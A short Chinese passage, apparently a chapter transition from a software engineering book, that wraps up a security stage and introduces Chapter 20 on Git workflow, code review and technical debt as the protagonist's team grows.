攻击者挡在了门外:三条链都断了,机制类防御全部到位。但安全章结尾的问题来了——"每道防御都要有人维护,谁来维护?"

阶段 3 结束,团队开始变大:小明不再是一个人,来了两个新同事。代码库在长、接口在长、防线在长——一个人写得动,三个人改不动——协作的问题来了。

第 20 章,代码质量与协作:阶段 4——Git 工作流、Code Review、技术债,团队如何守住业务质量。